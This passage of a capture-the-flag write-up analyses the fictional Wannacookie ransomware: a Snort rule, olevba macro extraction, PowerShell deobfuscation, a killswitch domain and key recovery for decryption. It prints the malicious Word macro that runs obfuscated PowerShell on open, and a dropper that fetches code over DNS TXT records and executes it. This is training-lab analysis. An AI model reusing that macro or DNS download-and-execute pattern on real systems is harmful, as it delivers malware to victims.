, we see:MORE INFO: A full capture of DNS traffic for the last 30 seconds is constantly updated to: /home/elf/snort.log.pcap You can also test your snort rule by running: snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf This will create an alert file at ~/snort_logs/alert This sensor also hosts an nginx web server to access the last 5 minutes worth of pcaps for offline analysis. These can be viewed by logging into: http://snortsensor1.kringlecastle.com/ Using the credentials: ---------------------- Username | elf Password | onashelf tshark and tcpdump have also been provided on this sensor. HINT: Malware authors often user dynamic domain names and IP addresses that change frequently within minutes or even seconds to make detecting and block malware more difficult. As such, its a good idea to analyze traffic to find patterns and match upon these patterns instead of just IP/domains.
To summarize, we need to edit
/etc/snort/rules/local.rules
and add a rule to detect the malware, but not alert on legitimate traffic. To test our rule, we can runsnort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
. - Solution
Let's start by taking a look at
local.rules
:elf@snort:~$ cat /etc/snort/rules/local.rules # $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $ # ---------------- # LOCAL RULES # ---------------- # This file intentionally does not come with signatures. Put your local # additions here.
No rules in there yet. Let's check out the DNS traffic and determine what we need to alert on.
We're told that we also have a PCAP file with 30 seconds of traffic. For digging into the PCAP, we can get some hints from Mike Poor's KringleCon talk. One of the tools mentioned is
tshark
, which we're told is on this system. The Snort system doesn't have manual pages installed, but if we runtshark -h
, we see some useful help output:elf@snort:~$ tshark -h TShark (Wireshark) 2.6.4 (Git v2.6.4 packaged as 2.6.4-2~ubuntu16.04.0) Dump and analyze network traffic. See https://www.wireshark.org for more information. Usage: tshark [options] ... ... Input file: -r <infile> set the filename to read from (- to read from stdin)
Let's just try reading the PCAP, and see what we're working with:
elf@snort:~$ tshark -r snort.log.pcap 1 0.000000 10.126.0.31 ? 52.108.236.1 DNS 88 Standard query 0x16ce TXT chases.loliginidae.enshrinement.office.com 2 0.010196 52.108.236.1 ? 10.126.0.31 DNS 151 Standard query response 0x16ce TXT chases.loliginidae.enshrinement.office.com TXT 3 0.020420 10.126.0.189 ? 96.221.202.241 DNS 99 Standard query 0xc933 TXT 77616E6E61636F6F6B69652E6D696E2E707331.bgerushnra.org 4 0.030638 96.221.202.241 ? 10.126.0.189 DNS 167 Standard query response 0xc933 TXT 77616E6E61636F6F6B69652E6D696E2E707331.bgerushnra.org TXT 5 0.040846 10.126.0.191 ? 207.216.8.224 DNS 99 Standard query 0x0fd6 TXT 77616E6E61636F6F6B69652E6D696E2E707331.egrbnahurs.com 6 0.051062 207.216.8.224 ? 10.126.0.191 DNS 167 Standard query response 0x0fd6 TXT 77616E6E61636F6F6B69652E6D696E2E707331.egrbnahurs.com TXT 7 0.061313 10.126.0.191 ? 207.216.8.224 DNS 101 Standard query 0xf013 TXT 0.77616E6E61636F6F6B69652E6D696E2E707331.egrbnahurs.com
The output of the command is rather verbose, and looks like an intimidating wall of text.
We see a number of DNS TXT queries (
Standard query 0x.... TXT
) and responses (Standard query response 0x.... TXT
). At this point, we could use standard Linux tools (e.g.grep
,cut
,awk
) to start analyzing the queries, buttshark
can do some advanced analysis itself. The output format isn't the most helpful, so by consulting the tshark man page, we can create a command which only shows the DNS query name, and doesn't print DNS responses (which would cause each query to be printed twice):tshark -r snort.log.pcap -T fields -e dns.qry.name -Y 'dns.flags.response == 0'
To make it easier to see what's going on, we can take the above command and pipe it to sort, by appending
|sort
. Some of the results are:... 63.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 7.77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 7.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 8.77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 8.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 9.77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 9.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net allsopp.concretized.bronzed.google.co.uk amixia.reinducing.twitter.com anthon.loliginidae.myxomata.amazon.com asked.diddlers.vk.com ...
It seems like we have two types of queries: HEX_DIGITS.suspicious_domain_name and RANDOM_WORDS.well_known_domain_name. Taking it a step further, we notice that the suspicious queries are of the form:
<Optional Number>.77616E6E61636F6F6B69652E6D696E2E707331.<Domain Name>
A closer look at the domain names reveals something interesting…
rgeubr.net
is an anagram forgruber.net
andhgerasnrub.com
is an anagram forhansgruber.net
.What about the
776...
sequence? We tried decoding it as base64, but that didn't work. It turns out it's just hex-encoded:elf@snort:~$ echo '77616E6E61636F6F6B69652E6D696E2E707331' | xxd -r -p wannacookie.min.ps1
It seems something is querying
<chunk>.<wannacookie.min.ps1>.<Hans Gruber's domains>
. Certainly looks suspicious…We'll start by editing
local.rules
with the following rule:alert udp any any <> any 53 ( content:"77616E6E61636F6F6B69652E6D696E2E707331"; )
Our task is to alert on the traffic, so we'll use the
alert
keyword. The traffic in the PCAP is destined to a DNS server on UDP port 53. However, the source IP, source port, and destination IP all seem random. So we'll use "any any" for the source IP and port, and "any 53" for the destination IP and port.The
<>
characters configure our rule to alert on both the request and response. There are some trade-offs for alerting on the response (increased false-positive rate, but also an increased chance to detect compromised hosts).Finally, we're looking for our hex-encoded "wannacookie.min.ps1" string.
Once we add this rule, we get the following message:
[i] Snort is not alerting on all ransomware!
more_info.txt
did give us a command line to test our rules, so we can try that:elf@snort:~$ snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf ... Initializing rule chains... ERROR: /etc/snort/rules/local.rules(1) Each rule must contain a rule sid. Fatal Error, Quitting..
Oops. It seems like sids of at least 1,000,000 are reserved for local rules, so we'll use that. The Snort manual also tells us to use a revision number in our rule.
alert udp any any <> any 53 ( content:"77616E6E61636F6F6B69652E6D696E2E707331"; sid: 1000000; rev: 1)
With this rule in place, we're told:
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
Answer:
Snort is alerting on all ransomware and only the ransomware
- Refining the Snort rule
Our rule works, but is not a great rule. Any UDP content that has that string anywhere in the packet will trigger the rule.
DNS uses a special method to encode the query name on the wire. Each portion of the DNS name (the "labels"), are prefixed with the length of that label, with an empty label at the end. So, "www.es.net" would be encoded as
|03|www|02|es|03|net|00|
.We can rewrite a better rule as:
alert udp any any <> any 53 ( content:"|26|77616E6E61636F6F6B69652E6D696E2E707331"; msg: "WannaCookie!"; nocase; sid: 1000000; rev: 1)
We're also adding the
nocase
option, to make our match case-insensitive.
- Refining the Snort rule
Phase 2: Identify the Domain
- Goal
Using the Word docm file, identify the domain name that the malware communicates with.
- Background
- Elf Chat
Checking back in with Alabster, he says:
Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.
Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?
All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.
Also, Shinny tells us:
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
- Badge Hint
We have the following hints from Shinny and Alabaster:
Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!
Word docm macros can be extracted using olevba. Perhaps we can use this to grab the ransomware source.
- Relevant KringleCon Videos
- Elf Chat
- Solution
Downloading the document, we hit a snag in extracting it. It seems like
unzip
and Apple's Archive Viewer don't support the format. We end up using p7zip, which can successfully extract it with the password provided, and we find a Word docm file. This seems to be a macro-enabled document file.Learning from Alabaster's mistake, we're going to watch Chris's video first, and follow along. Chris's following tip seems especially relevant for Alabaster, in hindsight:
Never run or analyze malware from your host or host environment
After covering some basic Operational Security best practices, Chris starts talking about a malicious Word document, just like the one we were given. The first tool he uses is
olevba
. Following along:$ olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm olevba 0.53.1 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm =============================================================================== FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: word/vbaProject.bin - OLE stream: u'VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub Document_Open() Dim cmd As String cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream( [IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIB t4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehN iQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'), [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" " Shell cmd End Sub ------------------------------------------------------------------------------- VBA MACRO NewMacros.bas in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() Dim cmd As String cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream( [IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIB t4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehN iQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'), [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" " Shell cmd End Sub +------------+-----------------+-----------------------------------------+ | Type | Keyword | Description | +------------+-----------------+-----------------------------------------+ | AutoExec | AutoOpen | Runs when the Word document is opened | | AutoExec | Document_Open | Runs when the Word or Publisher | | | | document is opened | | Suspicious | Shell | May run an executable file or a system | | | | command | | Suspicious | powershell | May run PowerShell commands | | Suspicious | ExecutionPolicy | May run PowerShell commands | | Suspicious | New-Object | May create an OLE object using | | | | PowerShell | | IOC | powershell.exe | Executable file name | +------------+-----------------+-----------------------------------------+
olevba
has identified some suspicious macros in our file. We can see that it's trying to run some commands with Powershell, but the commands are obfuscated. Following along in Chris's video, we see many similarities with his example and our chocolate chip cookie recipe. To deobfuscate this command, we'll remove theiex
call (Invoke-Expression), and save the output todropper.ps1
. We'll write this as a script, to make it a bit easier to read:sal a New-Object; $command = 'lVHRSsMwFP2VSwksYUtoW...REohG'; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($command), [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1
Now we can run it, and verify that we have our file:
PS C:\Users\Administrator\Desktop> powershell.exe -ExecutionPolicy Bypass .\cookie_macro.ps1 PS C:\Users\Administrator\Desktop> dir .\dropper.ps1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/13/2019 9:11 PM 900 dropper.ps1
Great! Now let's examine
dropper.ps1
:function H2A($a) { $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o; }; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; iex($(H2A $h | Out-string))
Even after some cleanup, the code is hard to read, but we clearly see the domain:
Answer:
erohetfanu.com
Why… that's one of the domains we found in our pre-conference recon! But what does it mean?
>>> import codecs >>> codecs.encode('erohetfanu', 'rot_13') 'reburgsnah' >>> _[::-1] 'hansgruber'
Well, if it isn't "hansgruber" backwards, and ROT-13 encoded! That solves one mystery that's been bugging us since before the conference even started!
Phase 3: Stop the Malware
- Goal
Identify a way to stop the malware in its tracks!
- Background
- Elf Chat
Shinny told us:
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
Alabaster says:
Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!
- Badge Hint
We have a couple of hints from Alabaster:
I think I remember reading an article recently about Ransomware Kill Switchs. Wouldn't it be nice if our ransomware had one!
wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?
The article tells us:
By relying on a static, discoverable address, whoever found it—in this case MalwareTech—could just register the domain and trigger WannaCry's shutdown defense.
- Elf Chat
- Solution
At the end of Phase 2, we recovered a snippet that does something over DNS:
$f = "77616E6E61636F6F6B69652E6D696E2E707331"; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings };
We see that the first DNS query is actually in the
foreach
line itself:Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT
We expect this to return a number, as it's being convert to a 32-bit integer, as base 10. We recognize
77616E6E61636F6F6B69652E6D696E2E707331
from the PCAPs on the Snort system, and we already found that it's a hex-encoded "wannacookie.min.ps1". Let's see what's being sent over DNS:PS > $f = "77616E6E61636F6F6B69652E6D696E2E707331"; PS > (Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings 64
As expected, the first top-level query returned a number. Next, the script would start to loop over queries for
0.$f.erohetfanu.com
,1.$f.erohetfanu.com
, up to the63.$f.erohetfanu.com
. Let's see what those look like:PS > (Resolve-DnsName -Server erohetfanu.com -Name "0.$f.erohetfanu.com" -Type TXT).strings 2466756e6374696f6e73203d207b66756e6374696f6e20655f645f66696c6528246b65792c202446696c652c2024656e635f69742920 7b5b627974655b5d5d246b6579203d20246b65793b24537566666978203d2022602e77616e6e61636f6f6b6965223b5b53797374656d 2e5265666c656374696f6e2e417373656d626c
Looks like more encoded content. We notice that the script was passing this output to a function,
H2A
:$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; iex($(H2A $h | Out-string))
It would stand to reason that this is once again hex-encoded, and
H2A
is short for "hex to ASCII."PS > function H2A($a) { >> $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; >> return $o; >> }; PS > H2A((Resolve-DnsName -Server erohetfanu.com -Name "0.$f.erohetfanu.com" -Type TXT).strings) $functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl
We decoded it, and recovered Powershell code. This was expected, as
Invoke-Expression
(iex
) executes Powershell code. It seems as if the 64 queries are simply chunks of the same file. Let's see if we can recover it all:PS > $h = ""; PS > foreach ($i in 0..63) { >> $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings >> }; PS > H2A($h) | Out-File wannacookie.min.ps1 PS > dir .\wannacookie.min.ps1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/13/2019 9:43 PM 16034 wannacookie.min.ps1
Inspecting the file, it looks like we've managed to download the entire file, just over DNS.
Hans seems to have setup his DNS server to make life a bit harder for security researchers, as by default, the queries only work from Windows clients. Chris suggests modifying the attacker's code whenever possible, and not following his advice bit us. Many Linux DNS query tools default to using Extended DNS options (EDNS), which is needed to support DNSSEC. When querying from a tool such as
dig
, we needed to add the+noedns
option in order to get a reply.Alabaster hints at there being a non-minified version of the file.
PS > 'wannacookie.ps1' | Format-Hex 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 77 61 6E 6E 61 63 6F 6F 6B 69 65 2E 70 73 31 wannacookie.ps1 PS > $f = '77616e6e61636f6f6b69652e707331'; PS > (Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings 84 PS > $h = ''; PS > foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { >> $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings >> }; >> PS > H2A($h) | Out-File wannacookie.ps1 PS > dir .\wannacookie.* Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/13/2019 9:43 PM 16034 wannacookie.min.ps1 -a---- 1/13/2019 11:28 PM 21090 wannacookie.ps1
We successfully recovered a file, which is larger than the minified version. Let's start investigating it. There's a lot going on here, with several functions. We can infer a lot just from the function names, and what system calls the functions make:
Function Name Purpose Notes Enc_Dec-File Encrypt/Decrypt file? H2B Hex to something ? A2H ASCII to Hex H2A Hex to ASCII Matches the dropper H2A B2H Something to Hex ? (Inverse of H2B?) ti_rox XOR This is "xor_it" backwards! B2G GZIP compress Calls GzipStream with Compress G2B GZIP decompress Calls GzipStream with Decompress Sha1 SHA1 Hash Calls SHA1 ComputeHash Pub_Key_Enc Encrypt with X509 Public Key Calls PublicKey Encrypt get_over_dns Download a file over DNS Matches code in the dropper wannacookie Main function? Calls most other functions Again, Chris suggests just adapting this code to investigate it, rather than trying to replicate it ourselves. Before we make any changes, though, we'll make sure to backup the original file.
At the very bottom of the file, we see that the file calls
wannacookie
. We can comment out that line, and now we can load the file without anything executing. We're also working in an isolated virtual machine, just in case we pull an Alabaster. Once the file is loaded, we'll start going through the logic of thewannacookie
function, slowly enough so as to understand what each component does:PS > Import-Module .\wannacookie_defused.ps1 PS > $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
However, very quickly we reach a line that's difficult to understand. It looks like it's doing a DNS query, but what it's actually querying is very difficult to parse. Tracing these parentheses is almost as difficult as in Lisp! Reading the line carefully, we see that it's doing two DNS TXT queries. One is trivial to rerun:
PS > $inner_query = $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings; PS > $inner_query 66667272727869657268667865666B73 PS > H2A($inner_query); ffrrrxierhfxefks
Still obfuscated. But what is the domain it's trying?
PS > H2A "6B696C6C737769746368" killswitch
We're on the right track! We can now continue untangling this line, as we work our way out:
PS > $xor_result = $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $inner_query)) PS > $xor_result 7969707065656b697961612e61616179 PS > $(H2A $xor_result) yippeekiyaa.aaay
Our line now looks like:
if ( $null -ne (Resolve-DnsName -Name "yippeekiyaa.aaay" -ErrorAction 0 -Server 8.8.8.8) ) { return }
So, this code tries to lookup "yippeekiyaa.aaay" via Google's 8.8.8.8 DNS server. If it gets a result, it just returns. We seem to have found our kill switch. The WannaCry article discussed how a researcher registered the killswitch domain in order to stop it in its tracks. We've also noticed the "HoHoHoDaddy" terminal, which brings up a domain registration page. If we enter our domain, we get:
Figure 56: Killswitch registered
Answer:
yippeekiyaa.aaay
Phase 4: Recover Alabaster's Password
- Goal
Recover Alabaster's password as found in the the encrypted password vault.
- Background
- Elf Chat
Alabaster says:
Yippee-Ki-Yay! Now, I have a ma… kill-switch!
Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing.
As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.
Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.
One of the passwords will unlock our access to the vault so we can get in before the hackers.
We also have the following hints from Shinny:
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.
- Badge Hint
We have a hint that we haven't used yet:
Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.
- Elf Chat
- Solution
Opening the zip reveals two files:
alabaster_passwords.elfdb.wannacookie
andpowershell.exe_181109_104716.dmp
. To solve this, we really need to understand the Powershell script better. After some analysis, we can trace the main code flow:Figure 57: WannaCookie Flowchart
At this point, Shinny's hints make more sense. We observe the malware grabbing a public key over DNS (
pub_key
). The files are then encrypted with a different, random encryption key (Byte_key
andHex_key
). Unfortunately,Byte_key
andHex_key
are cleared from memory, so we likely won't be able to find them in the memory dump. We notice thatByte_key
is encrypted withpub_key
and uploaded over DNS. Shinny's hint tells us that to decrypt the encryptedByte_key
, we need the private key.The public key was downloaded over DNS with the filename "server.crt". The Packalyzer also had a "server.crt" key, and its private key was stored in "server.key." Let's see if the malware author left that key sitting around:
PS > $f = $(A2H "server.key") PS > $(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings 14 PS > get_over_dns($f) | Out-File "server.key" PS > dir .\server.key Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/14/2019 2:59 AM 3470 server.key
Now that we have the private key, we need to recover the encrypted
Byte_key
. Before we can find it, we need to know the format it's in. Once again, we'll just execute some of the malware's code:PS > $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) ) PS > $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00}) PS > $Hex_key = $(B2H $Byte_key) PS > $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString() PS > $Pub_key_encrypted_Key b2e41690920bef3262600cd0314fc4cf7213bddd113d7097a64f3097fbc4186029c0e3f3f132ac9e0d957899fd97e609 b60d405ba643bcc639cd640301dcc03c6c94aa279d1fe040f51cb9ac17cdcf0cede7cdd228674ab350a1f3441b2e39bc aa29c8d1bc33dd816a3d1b97adf6f3e725640af2fa9a8298968e3d255744a238b68f41928bf642ace04d64226e449e77 9a99bb4b4e8fd6625f4e022b9d5a16115ce7e74515c03f394c7a57fc37e29269b010f3d68588e83f1084b04c3800a26c 88a8e4161def1e015f31f78d15bec0272b5599edb17a3cea7c2c9980bdc6d508089d961c5702aff0d38be6b93c1d907c 62436695b0d66f09193534f0e104cdff PS > $Pub_key_encrypted_Key.length 512
So, we're looking for a 512-character long hex string. Our hint points us to powerdump, so let's give that a shot, continuing to follow along in Chris's video. Once we load and process the file, we can search for a string:
============ Main Menu ================ Memory Dump: powershell.exe_181109_104716.dmp Loaded : True Processed : True ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 4 [i] 10947 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : len == 512 ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found!
Well, that was easy. We didn't even need a regular expression for the hex-encoding, as there was only one variable of length 512.
: print 1 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531 b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4 d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b 379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c0010 0b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7 d47681a77152563906a2c29c6d12f971 Press Enter to Continue... ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found!
Looks like we found it! Let's also recover the SHA1 hash of the key, so that we can verify it's correct once we decrypt it. A hex-encoded SHA1 hash will be 40 characters long:
: len == 40 ================ Filters ================ 1| LENGTH len(variable_values) == 40 [i] 45 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : matches "^[a-f0-9]+$" ================ Filters ================ 1| LENGTH len(variable_values) == 40 2| MATCHES bool(re.search(r"^[a-f0-9]+$",variable_values)) [i] 1 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : print b0e59a5e0f00968856f22cff2d6226697535da5b
Now we can use the private key to decrypt it. At this point, we ran into some issues doing this in Powershell, as loading private key is a bit different from how the malware loads the public key. We'll switch to Python for the rest of this challenge:
#!/usr/bin/env python import binascii import hashlib from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA pub_key_encrypted_key = "3cf903522e..." raw_encrypted_key = binascii.unhexlify(pub_key_encrypted_key) rsa_key = RSA.importKey(open('../../artifacts/obj9/server.key', "rb").read()) cipher = PKCS1_OAEP.new(rsa_key) decrypted_key = cipher.decrypt(raw_encrypted_key) hex_key = binascii.hexlify(decrypted_key) # Check the SHA1 hash sha1_target = "b0e59a5e0f00968856f22cff2d6226697535da5b" sha1_result = hashlib.sha1(hex_key).hexdigest() if sha1_result == sha1_target: print "Found the key!", binascii.hexlify(decrypted_key) else: print "Key SHA1 hash doesn't match..." print "Target:", sha1_target, "ours:", sha1_result
Once we run that, we're greeted with
Found the key! fbcfc121915d99cc20a3d3d5d84f8308
.Last step. Now we can use that key to decrypt the encrypted wannacookie file. Once again, we turn to Python:
#!/usr/bin/env python from Crypto.Cipher import AES import binascii import struct hex_key = "fbcfc121915d99cc20a3d3d5d84f8308" key = binascii.unhexlify(hex_key) with open("../../artifacts/obj9/alabaster_passwords.elfdb.wannacookie", 'rb') as f: # $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4) iv_length = struct.unpack('i', f.read(4))[0] # $FileSW.Write($AESP.IV, 0, $AESP.IV.Length) iv = f.read(iv_length) rest = f.read() obj = AES.new(key, AES.MODE_CBC, iv) result = open("../../artifacts/obj9/alabaster_passwords.elfdb", 'wb') result.write(obj.decrypt(rest)) result.close()
End result:
alabaster_passwords.elfdb: SQLite 3.x database
. We've done this before!$ sqlite3 alabaster_passwords.elfdb .dump PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE IF NOT EXISTS "passwords" ( `name` TEXT NOT NULL, `password` TEXT NOT NULL, `usedfor` TEXT NOT NULL ); INSERT INTO passwords VALUES('alabaster.snowball','CookiesR0cK!2!#','active directory'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','KeepYourEnemiesClose1425','www.toysrus.com'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','CookiesRLyfe!*26','netflix.com'); INSERT INTO passwords VALUES('alabaster.snowball','MoarCookiesPreeze1928','Barcode Scanner'); INSERT INTO passwords VALUES('alabaster.snowball','ED#ED#EED#EF#G#F#G#ABA#BA#B','vault'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','PetsEatCookiesTOo@813','neopets.com'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','YayImACoder1926','www.codecademy.com'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','Woootz4Cookies19273','www.4chan.org'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','ChristMasRox19283','www.reddit.com'); 